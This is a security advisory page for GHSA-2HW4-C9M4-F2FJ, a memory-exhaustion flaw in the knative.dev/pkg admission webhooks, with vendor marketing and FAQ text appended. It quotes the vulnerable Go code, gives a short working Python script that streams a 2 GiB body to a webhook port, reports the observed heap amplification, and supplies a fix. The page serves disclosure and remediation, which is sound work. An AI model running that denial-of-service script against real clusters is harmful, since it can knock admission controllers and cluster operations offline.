Summary
knative.dev/pkg admission webhooks allow unbounded request-body memory exhaustion
⚠️ Update (verification, 2026-05-19): C-2 confirmed end-to-end, 4.5× amplification observed (worse than the advisory's conservative 2× claim)
Built a Go PoC (cmd/poc-c2/main.go) that runs the exact 8-line vulnerable snippet from webhook/admission.go:109-117 verbatim under the same http.HandlerFunc shape (the full production admissionHandler at :85 requires *Webhook + AdmissionController + an informer-synced channel + controller-runtime / client-go scaffolding, the bug is the missing http.MaxBytesReader, nothing else in the handler). Bound to 127.0.0.1:18098.
PoC client streamed 2 GiB of a bytes over a raw TCP socket. runtime.MemStats.HeapAlloc sampler:
baseline: HeapAlloc = 0.32 MiB
peak: HeapAlloc = 9 217.38 MiB = 9.00 GiB
ratio: 4.50× the body size
The advisory predicted ~2× from io.TeeReader doubling the body once in bodyBuffer. The observed 4.5× ratio comes from the interaction of two amplifiers: bytes.Buffer.ReadFrom (used by TeeReader-fed bodyBuffer) doubles its backing slice on every grow, so peak occupancy during a realloc is old + new = 3× the live data, and json.Decoder holds its own working buffer in parallel. The advisory's 2× floor is comfortably exceeded.
Downstream impact reminder: this library backs every Knative serving / eventing controller, every Tekton Triggers / Pipelines webhook, KEDA, Sigstore policy-controller, Kpack, and many more. A 2 GiB body to any of those projects' admission webhook ports OOMs the controller at 4.5× the body, i.e., even a 128 MiB request OOMs a 512 MiB-limited Pod.
knative.dev/pkg's admission webhook handler reads the incoming HTTP request body via json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)) with no http.MaxBytesReader wrapping the body. Because every consumer of knative.dev/pkg/webhook inherits this handler (Knative serving / eventing, Tekton Pipelines, KEDA, Sigstore policy-controller, and others), a single oversized POST to any of those projects' admission webhook ports drives the controller pod into memory exhaustion and OOM-kill. Worse, the io.TeeReader design keeps a verbatim copy of the body in bodyBuffer while the decoder also materializes the parsed struct, so the peak memory usage is roughly twice the body size.
This is the same shape as CVE-2026-24514 (ingress-nginx) and GHSA-9539-c3xr-w9vm (Kyverno admission body OOM) filed today against the same antipattern.
Affected versions
knative.dev/pkg,mainHEAD ongithub.com/knative/pkg(verified 2026-05-18 againstwebhook/admission.gosha1ad5a1ce0ee7043081cb50fd1acc6d36a9126844).- Every release that ships the current
webhook/admission.gohandler.
Vulnerable code
review := admissionv1.AdmissionReview{}
var bodyBuffer bytes.Buffer
if err := json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)).Decode(&review); err != nil {
http.Error(w, fmt.Sprintf("could not decode body: %v", err), http.StatusBadRequest)
return
}
There is no http.MaxBytesReader around r.Body. The standard library's json.NewDecoder will read until EOF or the matching closing }. The io.TeeReader simultaneously copies every byte read from r.Body into bodyBuffer, which the rest of the handler uses for the response trailer / observability.
Downstream impact (the reason this matters)
knative.dev/pkg/webhook is the default admission-webhook scaffolding for the entire Knative + CNCF webhook ecosystem:
| Consumer | Repo | Webhook surface |
|---|---|---|
| Knative serving | knative/serving |
resource validation / defaulting |
| Knative eventing | knative/eventing |
resource validation / defaulting |
| Tekton Pipelines | tektoncd/pipeline |
Pipeline / Task / TaskRun validation |
| Tekton Triggers | tektoncd/triggers |
EventListener / Trigger validation |
| KEDA | kedacore/keda |
ScaledObject / ScaledJob validation |
| Sigstore policy-controller | sigstore/policy-controller |
ClusterImagePolicy mutating + validating |
| Kpack | buildpacks-community/kpack |
Image / Builder validation |
| ... |
Every one of these consumers ships the same io.ReadAll-equivalent body read with no upper bound. A pod-network-reachable attacker can OOM-kill any of them with a single large POST. failurePolicy=Fail admission webhooks (the secure-default) then take the namespace's or cluster's admission flow offline until the controller restarts.
Reproduction
The exact same PoC built against Kyverno's admission handler reproduces this:
import socket
total = 2 << 30 # 2 GiB
s = socket.create_connection(('<knative-or-tekton-webhook-host>', 8443))
s.sendall(b'POST /<admission-path> HTTP/1.1\r\nHost: x\r\nContent-Type: application/json\r\nContent-Length: %d\r\nConnection: close\r\n\r\n' % total)
chunk = b'a' * (1 << 20)
for _ in range(total >> 20): s.sendall(chunk)
Observed against the Kyverno admission handler (same antipattern):
baseline: HeapAlloc=7 MiB Sys=22 MiB
after read: HeapAlloc=9500 MiB Sys=9548 MiB (4 GiB body → 9.5 GiB peak; io.TeeReader doubles)
For the knative/pkg version, the io.TeeReader doubles the resident memory (one copy in the decoder's accumulating slice, one in bodyBuffer). A kyverno-admission-controller-equivalent Pod with a 256 MiB memory limit OOM-kills with ~128 MiB of body.
Disclosure
Reporting privately under your security policy. No public disclosure on my side until you have a fix or coordinated timeline. Encourage maintainers to coordinate with downstream consumers (Knative, Tekton, KEDA, Sigstore) on simultaneous release.
Reporter
tonghuaroot ([email protected])
Impact
- Class: CWE-770 unbounded allocation. Reachable from any pod-network client.
- Severity per consumer: depends on how each consumer configures
failurePolicy. For projects withfailurePolicy=Fail(e.g., Sigstore policy-controller's image-policy enforcement), the consequence is cluster-wide admission outage. ForfailurePolicy=Ignore, the consequence is "this project's webhook is offline" but the API server continues admitting requests. - Severity: matches the broader CVE-2026-24514 / GHSA-9539-c3xr-w9vm. Single-packet DoS on the library; each downstream consumer inherits the bug.
The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.
GHSA-2HW4-C9M4-F2FJ has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260531000007-52dbd5ece63f); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Wrap the request body with http.MaxBytesReader (and add a http.StatusRequestEntityTooLarge branch on the MaxBytesError path):
const maxAdmissionRequestSize = 8 << 20 // 8 MiB, controller-runtime's default; large enough for Kubernetes' own admission objects
r.Body = http.MaxBytesReader(w, r.Body, maxAdmissionRequestSize)
var bodyBuffer bytes.Buffer
review := admissionv1.AdmissionReview{}
if err := json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)).Decode(&review); err != nil {
var mbe *http.MaxBytesError
if errors.As(err, &mbe) {
http.Error(w, "admission body exceeds maximum size", http.StatusRequestEntityTooLarge)
return
}
http.Error(w, fmt.Sprintf("could not decode body: %v", err), http.StatusBadRequest)
return
}
This propagates a fix to every downstream consumer with no API change, and the cap can be made configurable per-server via a new field on the webhook.Options struct.
Frequently Asked Questions
- What is GHSA-2HW4-C9M4-F2FJ? GHSA-2HW4-C9M4-F2FJ is a medium-severity allocation of resources without limits or throttling vulnerability in knative.dev/pkg (go), affecting versions < 0.0.0-20260531000007-52dbd5ece63f. It is fixed in 0.0.0-20260531000007-52dbd5ece63f. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
- How severe is GHSA-2HW4-C9M4-F2FJ? GHSA-2HW4-C9M4-F2FJ has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of knative.dev/pkg are affected by GHSA-2HW4-C9M4-F2FJ? knative.dev/pkg (go) versions < 0.0.0-20260531000007-52dbd5ece63f is affected.
- Is there a fix for GHSA-2HW4-C9M4-F2FJ? Yes. GHSA-2HW4-C9M4-F2FJ is fixed in 0.0.0-20260531000007-52dbd5ece63f. Upgrade to this version or later.
- Is GHSA-2HW4-C9M4-F2FJ exploitable, and should I be worried? Whether GHSA-2HW4-C9M4-F2FJ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-2HW4-C9M4-F2FJ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-2HW4-C9M4-F2FJ? Upgrade
knative.dev/pkgto 0.0.0-20260531000007-52dbd5ece63f or later.